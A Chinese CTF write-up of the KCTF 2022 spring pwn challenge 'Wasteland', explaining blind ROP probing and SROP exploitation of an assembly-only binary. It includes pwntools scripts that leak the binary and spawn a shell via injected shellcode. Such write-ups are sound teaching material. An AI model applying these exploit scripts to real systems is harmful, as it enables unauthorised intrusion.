看雪2022 KCTF 春季赛 | 第六题设计思路及解析
2022-5-23 17:59:55 Author: mp.weixin.qq.com(查看原文) 阅读量:22 收藏

看雪 2022 KCTF春季赛 于5月10日中午12点正式开赛!
第六题《废土末世》已于今日中午12点截止答题,这是一道Pwn题。经统计,此题围观人数8341人,共4支战队成功破解。
【辣鸡战队用时6小时44分30秒拿下本题“一血”

接下来和我一起来看看该赛题的设计思路和相关解析吧!

出题团队简介

第六题《废土末世》出题方 【玄机安全团队】战队:

赛题设计思路

纯汇编编写,栈溢出调用系统BPI。
本题只有一个符号表,没有使用libc中的函数,题目开始使用的系统调用写入0x400数据到v1,但是v1只有0x10大小,所以存在栈溢出漏洞。
由于没有libc,所以无法使用普通ROP构造链条,这里只能打系统信号机制,系统调用中read返回给rax输入的个数,系统调用号15(64位)32位是77,会触发Sigreturn,把栈上的数据返回给寄存器。
系统在执行sigreturn系统调用的时候,不会对signa做检查,它不知道当前这个frame是不是之前保存的哪个frame。
由于sigreturn会从用户栈上恢复所有寄存器的值,而用户栈是保存在用户进程的地址空间中的,是用户进程可读写的。
如果攻击者可以控制栈,也就控制了所有寄存器的值,而这一切只需要一个gadget:“syscall;retn”,并且该gadget的地址在一些较老的系统上是没有随机化的,通常可以在vsyscall中找到,地址为0xffffffffff600000。
如果是32位linux,则可以寻找int 80 指令,通常可以在vDSO中找到,但是这个地址可能是随机的。

赛题解析

本赛题解析由看雪论坛学者 mb_mgodlfyn 给出:


概述

ROP,全称 Return Oriented Programming。在存在栈溢出的情况下,通过在栈上合理布局连接若干个以 ret 结尾的代码片段(gadget)实现特定的功能。
 
BROP,全称 Blind Return Oriented Programming,即在没有源码和二进制的情况下通过完成 ROP 利用。

能够完成 BROP 的前提是程序的内存地址在崩溃重连之后不发生改变,因为需要不断探测不同地址的 gadget 行为,依赖探测结果的稳定性。
 
BROP的一般攻击流程:探测溢出长度 -> 探测特殊gadget -> 泄露程序代码段内存 -> 白盒分析。


试探

用 nc 命令连接服务器,远程输出了 "hacker, TNT!\n",然后等待输入;随便输入几个字符后回车,远程输出 "TNT TNT!",然后连接断开。

如果输入很长,则连接断开,远程无第二句输出。
 
改变输入长度,可以发现输入16个字符时远程能正常输出第二句话,但输入17个字符时远程没有输出,因此断定远程的输入缓冲区长度为16。
 
对于一个开启的连接,本地可以区分出三种不同的状态:
  • 从连接读到一些数据:通常意味着程序正常执行,"normal"

  • 连接断开:本地读取时发生EOF,通常意味着远程程序崩溃退出,"crash"

  • 连接无响应:本地读取时一直处于等待状态,通常意味着远程程序阻塞在某个状态,"stop"

可以用下面的程序区分这三种状态:(需要Linux环境下的Python3,安装 pwntools 包(pip3 install pwntools) )
from pwn import * context.log_level = "critical" def probe(v, want=b"TNT TNT!"):    s = None    try:        s = remote(ip, port)        s.recvuntil(b"hacker, TNT!\n")        s.send(v)        r = s.recv(timeout=3)        if (want is not None and want in r) or (want is None and len(r)>0):            return "normal"        else:            return "stop"    except EOFError:        return "crash"    finally:        if s:            s.close()    return None

栈上的原始值

如果溢出覆盖的值与栈上的原始值相同,则程序会正常运行并输出"TNT TNT!",即"normal"状态;而不正确的覆盖原始值则大概率会造成程序crash。
 
发送长17字节的输入,其中前16字节任意,第17字节从0到255依次遍历,然后探测程序的结果:
def test(prefix):    for i in range(256):        t = prefix + bytes([i])        c = probe(t, None)        if c != "crash":            print(hex(i), c) test(b"a"*16)
"crash"的结果不需要关心,重点是"normal"和"stop"。以下是探测的结果(多次运行的结果相同):
0xb0 normal0xb5 stop0xb6 stop0xb8 stop0xc2 stop0xc7 stop0xc9 stop0xce normal0xec stop0xed stop0xee stop0xef stop0xf2 stop0xf3 stop
发现了两个"normal"的结果,如果打印出接收到的字符串,会发现溢出 b"\xb0" 时收到了b"hacker, TNT!\n",而溢出 b"\xce" 时收到了 b"TNT TNT!\n"。
 
由此可以得出,栈上被覆盖的第一个字节原始值一定是 b"\xce",因为只有溢出为它时的输出与未溢出时相同。
 
下一步向远程发送长18字节的输入,其中第17个字节固定为 0xce,第18个字节从0到255遍历:
test(b"a"*16 + b"\xce")
0x0 normal
发现了唯一一个"normal"的状态,继续探测下一个字节:
test(b"a"*16 + b"\xce\x00")
0x40 normal0x60 normal
连接这三个值,得到两个熟悉的地址:0x4000ce和0x6000ce。

在 Linux x64 上编译出的 非PIE(Position Independent Executables)程序(gcc -no-pie 选项编译,得到的程序的代码段和数据段的内存地址不会随机化。Linux上的PIE等价于Windows上的DYNAMICBASE),其代码段的基地址通常是 0x400000,数据段的基地址通常是 0x600000。因此,凭借这两个使程序正常执行的溢出值,可以猜测远程是64位程序,没有开启PIE。
 
为了进一步确认,这次溢出8个正确的字节,同时作为对照,溢出7个正确的字节+1个错误的字节:
probe(b"a"*16 + p64(0x4000ce))    # "normal"probe(b"a"*16 + p64(0x4000ce)[:7]+b"\x01")    # "crash"
发现第一溢出的第8个字节对程序的执行有影响,因此可以断定远程是64位程序。

寻找ret指令

现在已知输入的第16-24个字节会覆盖程序的返回地址。如果把返回地址覆盖为ret指令所在的地址,则这个ret指令会继续取后面的8个字节作为地址然后跳转过去。
 
因此,把输入的第24-32个字节指定为0x4000ce,然后遍历第16-24个字节,检查程序是否输出了b"TNT TNT!\n":
def findret(prefix):    for i in range(256*256):        t = prefix + p64(0x400000 + i) + p64(0x4000ce)        c = probe(t, b"TNT TNT!\n")        if c == "normal":            print(hex(i), c) findret(b"a"*16)
得到以下几个地址:
0xce normal0x101 normal0x106 normal
0xce是已知的原始返回地址,忽略之。

现在有两个地址:0x400101 和 0x400106,可以断定的是 0x400106 一定指向 ret 指令,而 0x400101 不确定(因为如果一个地址指向指令序列 xxx ; ret,只要xxx指令不修改栈指针rsp,也会产生同样的效果,但后面一定还会出现另一个更大的地址;这里 0x400106是最大的地址,因此它一定是直接指向 ret 的)。
 
另外,这次遍历的范围扩大到了两个字节,但是输出结果只有3个,表明程序在0x400106之后不再有ret指令,这极大的预示着程序的代码段到此就结束了。

推测程序的结构

到目前为止已经收集到了足够的信息,下面开始推理程序的结构。
 
回顾前面遇到的第一个"normal"溢出(0xb0 normal),即如果跳转到的 0x4000b0 地址,程序就会重新开始执行,输出 "hacker, TNT!\n",并且可以继续进行溢出,因此可以推测 0x4000b0 就是程序的入口点。
 
对于64位的ELF程序,其 ELF Header 大小为 0x40 字节,Program Header 大小为 0x38 字节。

可执行的ELF程序至少要包含一个 ELF Header 和一个 PT_LOAD 类型的 Program Header 才能被内核加载。根据先前的探测,0x600000也是此程序一个合法的段,因此这个程序至少有两个 Program Header,分别对应 0x400000 和 0x600000 的加载地址。
 
不考虑重叠,一个 ELF Header 和两个 Program Header 需要占用 0x40 + 0x38*2 = 0xb0 字节的空间,而 0x4000b0 已经是程序代码了,因此之前的推测进一步得到验证。

最后一个ret指令出现的位置在0x400106,则程序代码段的总大小估计是 0x400106+1-0x4000b0 = 87 字节。能做到如此短小的代码 + 只有两个PT_LOAD的 Program Header,此程序一定不是通常由 gcc 编译出来的高级语言可执行文件,而大概率是由汇编直接编写的。
 
最常用的汇编工具是 nasm。nasm工具负责把汇编源码编译为.o文件,然后需要手动调用链接器ld生成最终的可执行文件。
已知题目运行在 Ubuntu 系统中(只考虑LTS版本),同时代码段的起始地址紧跟在 Header 后面,这不符合 Ubuntu 20.04 及以上的链接器默认生成的可执行文件的内存布局特征(高版本的ld为了保持文件头部的字节不可执行,会把Header和代码段分开在两个segment中,此时代码段的起始地址是 0x401000(未开启PIE的情况下),可以用 readelf -l 查看 Program Header 进行比较),因此推测程序的编译环境是 Ubuntu 18.04。
 
找一个 Ubuntu 18.04 的环境,apt-get 安装 nasm,然后随意编译一个helloworld程序,readelf -l 发现程序的入口点确实是 0x4000b0,存在 0x400000 和 0x600000 两个 segment,且生成的代码段长度相当短。至此,上面的所有猜测全部得到验证。

推测代码段的结构

已知0x4000b0是入口点,0x4000ce是紧跟call指令的返回地址,0x400106是最后一个ret指令,可以初步得出以下的代码段布局:
0x4000b0:          <do write "hacker, TNT!\n">          call overflow0x4000ce:          <do write "TNT TNT!\n">overflow:          <do read>0x400106:          ret
因为程序不包含类型为 DYNAMIC 的 Program Header,所以程序没有加载任何动态库,因此对write和read的调用只能是直接设置相关寄存器然后调用syscall指令完成。自己试着按相同的逻辑编写了一下,发现非常紧凑,如果源程序确实只有87个字节,那么几乎没有多余的指令。

寻找syscall指令

回忆下最开始探测出来的stop gadget:[0xb5, 0xb6, 0xb8, 0xc2, 0xc7, 0xc9, 0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3]。本程序的逻辑非常简单,因此产生stop的原因不大可能是因为循环,而更有可能是进入了read等待客户端的输入。
 
已知 x64 的 call 指令一般长 5 个字节,而 call overflow 结束于 0x4000ce,那么它的起始位置应该是 0x4000ce-5 = 0x4000c9。注意到 0xc9 是stop gadget,call overflow 会等待输入,这是完全吻合的。
 
那么从 0x4000b0 到 0x4000c9 应该只包含了 write 的逻辑,大致是先设置 rax(1,SYS_write系统调用号), rdi(1,stdout的文件描述符), rsi(字符串地址), rdx(字符串长度),然后执行 syscall 指令。因此 syscall 指令大概率在最后执行,并随后到达 0x4000c9 call overflow 指令。
 
syscall 指令长 2 个字节,注意到 0xc7 也是一个 stop gadget,因此合理猜测 syscall 指令就位于 0x4000c7,两字节后恰好连到 0x4000c9。


泄漏

推测到 syscall 指令的地址后,下一个目标是构造write系统调用输入出程序代码段的内存。
 
根据推测到的代码段的结构,程序里几乎没有多余的指令,大概率也不存在 pop ret ; ret 这样的常规设置寄存器的 rop gadget。
 
针对这种情况(1. 溢出长度很长 2. 有syscall指令的地址 3. 几乎没有其他可用的gadget),可以使用 SROP(Sigreturn Oriented Programming) 一次性设置所有的寄存器同时控制住rip。
 
SROP 的原理是利用 sigreturn 系统调用,只要在 rsp 指向的栈顶内存布置好Signal Frame 即可。
 
Signal Frame 可以直接使用 pwntools 的 SigreturnFrame 构造,不过要调用 sigreturn 系统调用需要正确设置 rax 寄存器为它的系统调用号,在 Linux x64 中为 15。

虽然没有 pop rax ; ret 之类的指令,不过注意到 read 的返回值保存在 rax 寄存器中,是输入的长度,这是可控的。
 
栈帧的构造:依次布置 \<do read\>的地址、syscall指令的地址、SigreturnFrame,其中SigreturnFrame的寄存器设置为满足write(1, 0x400000, 0x1000),rip指向syscall指令,则sigreturn系统调用返回后就会跳转到rip的位置执行write系统调用输出程序内存。

关于 \<do read\> 的地址:需要一次调用read的机会,客户端发送恰好15个字符以控制rax的值,同时保证 rop 链可以走向下一步。参照推测出的代码段结构,最好的选择就是跳转到 overflow: 标签的位置(0x4000c9 call overflow的位置不行,因为多了一个call,无法走向 rop 链的下一步)。这个位置可以参照探测出来的stop gadget,从[0xec, 0xed, 0xee, 0xef]中选择,经测试在这里选择0xec、0xee、0xef都能成功。为了防止粘包,在两次输入之间添加了sleep。
from pwn import * sigframe = SigreturnFrame()sigframe.rax = 1sigframe.rdi = 1sigframe.rsi = 0x400000sigframe.rdx = 0x1000sigframe.rip = 0x4000c7 ip = <>port = <> s = remote(ip, port)s.recvuntil(b"hacker, TNT!\n")s.send(b'a'*16 + p64(0x4000ee) + p64(0x4000c7) + bytes(sigframe))sleep(1) s.send(b'a'*15) r = s.recv()assert r.startswith(b"\x7fELF")with open("tnt", "wb") as f:    f.write(r) s.close()
如果暴力做题的话,前面的分析完全不用做,直接构造 SROP,syscall指令的地址从 0x400000开始遍历,这样很快就能找到结果。(风险在于,如果程序是C语言编译的动态链接ELF,通常代码段是不会出现syscall指令的,那么这样暴力不会产生结果。

真相是做到这一步卡了一段时间才突然想起来 SROP 这种很少使用的利用方式……前面的分析过程规避了风险,但也消耗了时间。


利用

现在获取到了源文件,可以本地反汇编以及动态调试了。
tnt:     file format elf64-x86-64  Disassembly of section .text: 00000000004000b0 <_start>:  4000b0:       b8 01 00 00 00          mov    eax,0x1  4000b5:       48 89 c7                mov    rdi,rax  4000b8:       48 be 08 01 60 00 00    movabs rsi,0x600108  4000bf:       00 00 00  4000c2:       ba 0d 00 00 00          mov    edx,0xd  4000c7:       0f 05                   syscall  4000c9:       e8 20 00 00 00          call   4000ee <TNT66666>  4000ce:       b8 01 00 00 00          mov    eax,0x1  4000d3:       48 89 c7                mov    rdi,rax  4000d6:       48 be 15 01 60 00 00    movabs rsi,0x600115  4000dd:       00 00 00  4000e0:       ba 09 00 00 00          mov    edx,0x9  4000e5:       0f 05                   syscall  4000e7:       b8 3c 00 00 00          mov    eax,0x3c  4000ec:       0f 05                   syscall 00000000004000ee <TNT66666>:  4000ee:       48 83 ec 10             sub    rsp,0x10  4000f2:       48 31 c0                xor    rax,rax  4000f5:       ba 00 04 00 00          mov    edx,0x400  4000fa:       48 89 e6                mov    rsi,rsp  4000fd:       48 89 c7                mov    rdi,rax  400100:       0f 05                   syscall  400102:       48 83 c4 10             add    rsp,0x10  400106:       c3                      ret

反汇编得到的指令与先前推测的代码段结构基本一致。
 
动态调试容易发现 0x600000 的segment是 RWX 权限,因此可以设法把shellcode写入其中然后直接跳转执行。
具体步骤如下:
  1. 第一次溢出时布置一次 SROP,其中SigreturnFrame里只需要把 rsp 设置为这个segment里的地址(如0x600800),同时把 rip 设置为 \<do read\> 的地址(即0x4000ee)。把这一次的返回地址也覆盖为 \<do read\> 的地址0x4000ee,然后栈上的下一个位置覆盖为syscall指令的地址(如0x400100)。

  2. 第一次ret之后会重新执行read,输入15个字符凑出sigreturn的系统调用号,则这次ret后会用构造的SigreturnFrame执行syscall sigreturn。执行之后,rsp变为了 0x600800,然后控制流再一次转到了 0x4000ee 并等待第三次输入。

  3. 溢出,输入shellcode并覆盖返回地址为对应的位置,成功getshell

from pwn import * context.arch = "amd64"context.terminal = ["tmux", "split", "-h"] ip = <>port = <> #s = process("./tnt")s = remote(ip, port)#attach(s) s.recvuntil(b"hacker, TNT!\n") sigframe = SigreturnFrame()sigframe.rip = 0x4000eesigframe.rsp = 0x600800 s.send(b'a'*16 + p64(0x4000ee) + p64(0x400100) + bytes(sigframe))sleep(1) s.send(b'a'*15)sleep(1) s.send(b'a'*16 + p64(0x600808) + asm(shellcraft.sh())) s.interactive()


其他

注意到0x600000的segment是程序的数据段,在本程序中却有了可执行权限。

原因是程序的 Program Header 缺少一个类型为 GNU_STACK 的段。Linux内核会根据这个段决定程序的数据段是否可执行(即NX保护是否开启。在Windows上相应的保护机制称为DEP)。如果这个段指定了可执行权限或者缺少此段,则内核会添加 READ_IMPLIES_EXEC 的 personality,这会让所有带有 PROT_READ 选项的 mmap 系统调用建立的内存映射自动带有可执行权限。
参考:https://stackoverflow.com/questions/61909762/when-setting-execution-bit-on-pt-gnu-stack-program-header-why-do-all-segments-o 
 
即使不存在这个RWX段,本题仍然可以利用。由于程序中存在 syscall ; ... ; ret 序列(0x400100-0x400107),只要能找到一块已知地址的可写内存布置连续的SigreturnFrame帧即可。
例如,在第一次溢出时布置SigreturnFrame帧,其参数为mprotect(0x400000, 0x1000, 7),rsp为0x400000-0x401000中的一个地址,同时把返回地址覆盖为0x4000ec,这样第一次sigreturn之后栈已经迁移到了0x400000段上,同时先执行0x4000ec处syscall调用mprotect把0x400000段改为可写可执行,然后控制流顺次到达0x4000ee开启下一次read,之后就是常规构造(可参考文末链接的参考教程)。
或者通过控制read的字符数量为1(SYS_write),然后跳转到0x4000f5,write出栈的内容,输出内容大概率会有栈地址,此时得到了已知地址的可写内存段,再通过一次SROP把栈迁移过去,之后是常规构造。
 
另外,从vsyscall里找gadget是不能成功的,因为高版本内核基本都开启了 vsyscall emulate,vsyscall段的内存实际上仅仅是模拟以向下兼容,内核会对入口做严格的检查,直接跳到中间的syscall指令是无法执行的。


总结

本题是一道很好的BROP+SROP教学题,涉及的知识点很基础,大部分PWN的入门教程都有介绍;同时程序完全用汇编编写,避开了常规BROP的 __libc_csu_init 特征gadget,从而大部分现有exp不能直接照抄。
 
关于BROP和SROP的两篇基本教程:
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#brop;

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/

第七题《一触即发》正在进行中

👆还在等什么,快来参赛吧!
如何成为一名出色的CTF选手?
*点击图片查看详情
入门-基础-进阶-强化,只需四个阶段!摇身一变成为主力、中坚力量


- End -

球分享

球点赞

球在看

“阅读原文展开第七题的战斗!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458447178&idx=1&sn=938bf5dc4ac9c8554ecdea2fbc8e6a7c&chksm=b18fddc086f854d6adeeca97d302dd8f967bc21fc91e690b02103e9718e185ed94ba5aa60cca#rd
如有侵权请联系:admin#unsafe.sh